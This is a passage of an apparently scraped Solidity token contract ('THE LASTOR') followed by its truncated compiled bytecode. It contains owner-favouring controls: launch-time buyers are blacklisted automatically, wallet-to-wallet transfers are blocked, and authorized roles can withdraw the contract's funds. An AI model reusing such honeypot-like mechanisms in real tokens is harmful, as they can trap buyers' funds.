!isTxLimitExempt[recipient] &&
recipient != ZERO &&
recipient != DEAD &&
recipient != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
uint256 contractBalanceRecipient = balanceOf(recipient);
require(
contractBalanceRecipient + amount <= _maxWalletAmount,
"Exceeds maximum wallet token amount"
);
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
uint256 usedEth = router.getAmountsIn(amount, path)[0];
if (!hasSold[recipient] && Lastor != recipient && usedEth >= minimumAmount) {
Lastor = recipient;
lastLastorChange = block.timestamp;
emit NewLastor(Lastor);
}
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[sender] &&
sender != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
if (Lastor == sender) {
emit LastorSold(Lastor);
_reset();
}
hasSold[sender] = true;
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit)
external
authorized
{
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if(!isTxLimitExempt[sender])
require(!blacklisted[sender], "You are blacklisted");
if(!didWeStart && sender == pair && !isTxLimitExempt[recipient] && recipient != routerAddress && recipient != pair) {
blacklisted[recipient] = true;
}
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (
sender != pair &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBack();
}
_checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = pair == recipient
? totalFeeIfSelling
: totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient)
internal
view
returns (bool)
{
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
//uint256 tokensToLiquify = _balances[address(this)];
uint256 tokensToLiquify = swapThreshold;
uint256 amountToLiquify = tokensToLiquify
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHLastor = amountETH.mul(lastorFee).div(totalETHFee);
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
(bool tmpSuccess, ) = payable(marketingWallet).call{
value: amountETHMarketing,
gas: 30000
}("");
(bool tmpSuccess2, ) = payable(Lastor).call{
value: amountETHLastor,
gas: 30000
}("");
emit LastorPayout(Lastor, amountETHLastor);
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function recoverLosteth() external authorized {
payable(msg.sender).transfer(address(this).balance);
}
function recoverLostTokens(address _token, uint256 _amount)
external
authorized
{
IERC20(_token).transfer(msg.sender, _amount);
}
}
|
0x6080604052600436106102cd5760003560e01c8063944c1d9711610175578063cec10c11116100dc578063eeb4a9c811610095578063f84ba65d1161006f578063f84ba65d146110be578063f887ea401461111b578063fd05979b1461115c578063fe9fbb801461119d576102d4565b8063eeb4a9c814610fe1578063f0b37c041461101c578063f2fde38b1461106d576102d4565b8063cec10c1114610d9d578063dbac26e914610dec578063dd62ed3e14610e53578063dec2ba0f14610ed8578063df20fd4914610f33578063ed14f20a14610f7a576102d4565b8063a9059cbb1161012e578063a9059cbb14610c2d578063afc74e1114610c9e578063b6a5d7de14610cb5578063bb0c829814610d06578063ca33e64c14610d31578063ca987b0e14610d72576102d4565b8063944c1d9714610a5a57806395d89b4114610a8557806398118cb414610b155780639d0014b114610b40578063a4b45c0014610b7b578063a8aa1b3114610bec576102d4565b80634a74bb021161023457806370a08231116101ed57806375f0a874116101c757806375f0a874146109465780637b31e84414610987578063893d20e8146109b25780638b42507f146109f3576102d4565b806370a082311461087b578063712a890a146108e057806373173d2b1461091b576102d4565b80634a74bb0214610655578063571ac8b014610682578063658d4b7f146106e957806365acb9a9146107465780636b67c4df1461078b5780636c3bbfd7146107b6576102d4565b80632b112e49116102865780632b112e49146104ec5780632f54bf6e14610517578063313ce5671461057e57806333596f50146105ac5780633e02a988146105c35780633f4218e0146105ee576102d4565b80630445b667146102d957806306fdde0314610304578063095ea7b31461039457806318160ddd146104055780631df4ccfc1461043057806323b872dd1461045b576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b506102ee611204565b6040518082815260200191505060405180910390f35b34801561031057600080fd5b5061031961120a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035957808201518184015260208101905061033e565b50505050905090810190601f1680156103865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103a057600080fd5b506103ed600480360360408110156103b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611247565b60405180821515815260200191505060405180910390f35b34801561041157600080fd5b5061041a611339565b6040518082815260200191505060405180910390f35b34801561043c57600080fd5b50610445611343565b6040518082815260200191505060405180910390f35b34801561046757600080fd5b506104d46004803603606081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611349565b60405180821515815260200191505060405180910390f35b3480156104f857600080fd5b5061050161154c565b6040518082815260200191505060405180910390f35b34801561052357600080fd5b506105666004803603602081101561053a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ce565b60405180821515815260200191505060405180910390f35b34801561058a57600080fd5b50610593611627565b604051808260ff16815260200191505060405180910390f35b3480156105b857600080fd5b506105c1611630565b005b3480156105cf57600080fd5b506105d86116f4565b6040518082815260200191505060405180910390f35b3480156105fa57600080fd5b5061063d6004803603602081101561061157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611702565b60405180821515815260200191505060405180910390f35b34801561066157600080fd5b5061066a611722565b60405180821515815260200191505060405180910390f35b34801561068e57600080fd5b506106d1600480360360208110156106a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611735565b60405180821515815260200191505060405180910390f35b3480156106f557600080fd5b506107446004803603604081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611768565b005b34801561075257600080fd5b506107896004803603604081101561076957600080fd5b81019080803590602001909291908035906020019092919050505061183e565b005b34801561079757600080fd5b506107a06119cf565b6040518082815260200191505060405180910390f35b3480156107c257600080fd5b50610879600480360360208110156107d957600080fd5b81019080803590602001906401000000008111156107f657600080fd5b82018360208201111561080857600080fd5b8035906020019184602083028401116401000000008311171561082a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506119d5565b005b34801561088757600080fd5b506108ca6004803603602081101561089e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ae0565b6040518082815260200191505060405180910390f35b3480156108ec57600080fd5b506109196004803603602081101561090357600080fd5b8101908080359060200190929190505050611b29565b005b34801561092757600080fd5b50610930611bae565b6040518082815260200191505060405180910390f35b34801561095257600080fd5b5061095b611bb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561099357600080fd5b5061099c611bda565b6040518082815260200191505060405180910390f35b3480156109be57600080fd5b506109c7611be0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ff57600080fd5b50610a4260048036036020811015610a1657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c09565b60405180821515815260200191505060405180910390f35b348015610a6657600080fd5b50610a6f611c29565b6040518082815260200191505060405180910390f35b348015610a9157600080fd5b50610a9a611c2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ada578082015181840152602081019050610abf565b50505050905090810190601f168015610b075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b2157600080fd5b50610b2a611c6c565b6040518082815260200191505060405180910390f35b348015610b4c57600080fd5b50610b7960048036036020811015610b6357600080fd5b8101908080359060200190929190505050611c72565b005b348015610b8757600080fd5b50610bea60048036036040811015610b9e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cf7565b005b348015610bf857600080fd5b50610c01611df8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c3957600080fd5b50610c8660048036036040811015610c5057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e1e565b60405180821515815260200191505060405180910390f35b348015610caa57600080fd5b50610cb3611e33565b005b348015610cc157600080fd5b50610d0460048036036020811015610cd857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ecb565b005b348015610d1257600080fd5b50610d1b611fa0565b6040518082815260200191505060405180910390f35b348015610d3d57600080fd5b50610d46611fa6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d7e57600080fd5b50610d87611fcc565b6040518082815260200191505060405180910390f35b348015610da957600080fd5b50610dea60048036036060811015610dc057600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611fd2565b005b348015610df857600080fd5b50610e3b60048036036020811015610e0f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121cc565b60405180821515815260200191505060405180910390f35b348015610e5f57600080fd5b50610ec260048036036040811015610e7657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ec565b6040518082815260200191505060405180910390f35b348015610ee457600080fd5b50610f3160048036036040811015610efb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612273565b005b348015610f3f57600080fd5b50610f7860048036036040811015610f5657600080fd5b810190808035151590602001909291908035906020019092919050505061239f565b005b348015610f8657600080fd5b50610fc960048036036020811015610f9d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061243f565b60405180821515815260200191505060405180910390f35b348015610fed57600080fd5b5061101a6004803603602081101561100457600080fd5b810190808035906020019092919050505061245f565b005b34801561102857600080fd5b5061106b6004803603602081101561103f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124e4565b005b34801561107957600080fd5b506110bc6004803603602081101561109057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125ba565b005b3480156110ca57600080fd5b50611119600480360360408110156110e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061271c565b005b34801561112757600080fd5b506111306127f2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561116857600080fd5b50611171612818565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156111a957600080fd5b506111ec600480360360208110156111c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061283e565b60405180821515815260200191505060405180910390f35b601b5481565b60606040518060400160405280600a81526020017f544845204c4153544f5200000000000000000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60125481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611535576114b4826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291c9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6115408484846129dc565b50600190509392505050565b60006115c961157c600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ae0565b6115bb6115aa600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ae0565b6005546130e090919063ffffffff16565b6130e090919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b6116393361283e565b6116ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156116f1573d6000803e3d6000fd5b50565b600060085460065401905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b601860159054906101000a900460ff1681565b6000611761827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611247565b9050919050565b6117713361283e565b6117e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6118473361283e565b6118b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60c8600554816118c557fe5b0482101561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f416d6f756e7420746f6f206c6f7700000000000000000000000000000000000081525060200191505060405180910390fd5b60c86005548161194757fe5b048110156119bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f416d6f756e7420746f6f206c6f7700000000000000000000000000000000000081525060200191505060405180910390fd5b8160198190555080601a819055505050565b60105481565b6119de3361283e565b611a50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518161ffff161015611adc576000600e6000848461ffff1681518110611a7657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611a53565b5050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611b323361283e565b611ba4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b60115481565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b60085481565b60606040518060400160405280600681526020017f4c4153544f520000000000000000000000000000000000000000000000000000815250905090565b600f5481565b611c7b3361283e565b611ced576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601b8190555050565b611d003361283e565b611d72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611e2b3384846129dc565b905092915050565b611e3c3361283e565b611eae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001601660146101000a81548160ff021916908315150217905550565b611ed4336115ce565b611f46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60075481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b611fdb3361283e565b61204d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600a8311156120c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4d6178206665650000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600f82111561213b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4d6178206665650000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600a8111156121b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4d6178206665650000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600f819055508160108190555080601181905550505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61227c3361283e565b6122ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561235f57600080fd5b505af1158015612373573d6000803e3d6000fd5b505050506040513d602081101561238957600080fd5b8101908080519060200190929190505050505050565b6123a83361283e565b61241a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601860156101000a81548160ff02191690831515021790555080601b819055505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6124683361283e565b6124da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060078190555050565b6124ed336115ce565b61255f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6125c3336115ce565b612635576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6127253361283e565b612797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080828401905083811015612912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906129c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561298e578082015181840152602081019050612973565b50505050905090810190601f1680156129bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612af057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612aef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f596f752061726520626c61636b6c69737465640000000000000000000000000081525060200191505060405180910390fd5b5b601660149054906101000a900460ff16158015612b5a5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015612bb05750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c0a5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612c645750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612cc2576001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601860149054906101000a900460ff1615612ce957612ce284848461312a565b90506130d9565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612d545750601860149054906101000a900460ff16155b8015612d6c5750601860159054906101000a900460ff165b8015612db95750601b54600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15612dc757612dc66132fd565b5b612dd2848484613a0f565b612ddc8484614528565b15612e4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f446f6e277420636865617400000000000000000000000000000000000000000081525060200191505060405180910390fd5b612ed8826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291c9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612fc15750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612fcb5782612fd7565b612fd685858561469b565b5b905061302b81600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289490919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600061312283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061291c565b905092915050565b60006131b5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291c9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324a82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289490919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6001601860146101000a81548160ff0219169083151502179055506000601b549050600061335d600261334f601254613341600f548761484390919063ffffffff16565b6148c990919063ffffffff16565b6148c990919063ffffffff16565b9050600061337482846130e090919063ffffffff16565b90506000600267ffffffffffffffff8111801561339057600080fd5b506040519080825280602002602001820160405280156133bf5781602001602082028036833780820191505090505b50905030816000815181106133d057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561347257600080fd5b505afa158015613486573d6000803e3d6000fd5b505050506040513d602081101561349c57600080fd5b8101908080519060200190929190505050816001815181106134ba57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156135b857808201518184015260208101905061359d565b505050509050019650505050505050600060405180830381600087803b1580156135e157600080fd5b505af11580156135f5573d6000803e3d6000fd5b505050506000479050600061362a6136196002600f546148c990919063ffffffff16565b6012546130e090919063ffffffff16565b90506000613655826136476010548661484390919063ffffffff16565b6148c990919063ffffffff16565b90506000613680836136726011548761484390919063ffffffff16565b6148c990919063ffffffff16565b905060006136be60026136b0866136a2600f548a61484390919063ffffffff16565b6148c990919063ffffffff16565b6148c990919063ffffffff16565b90506000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d8060008114613747576040519150601f19603f3d011682016040523d82523d6000602084013e61374c565b606091505b505090506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d80600081146137d7576040519150601f19603f3d011682016040523d82523d6000602084013e6137dc565b606091505b505090507f9d8ec8e3a3264cebc07d7bd56a72fde99979f2f3486ba27a8a4b90a78c39fab6601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600091506000905060008a11156139e757601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7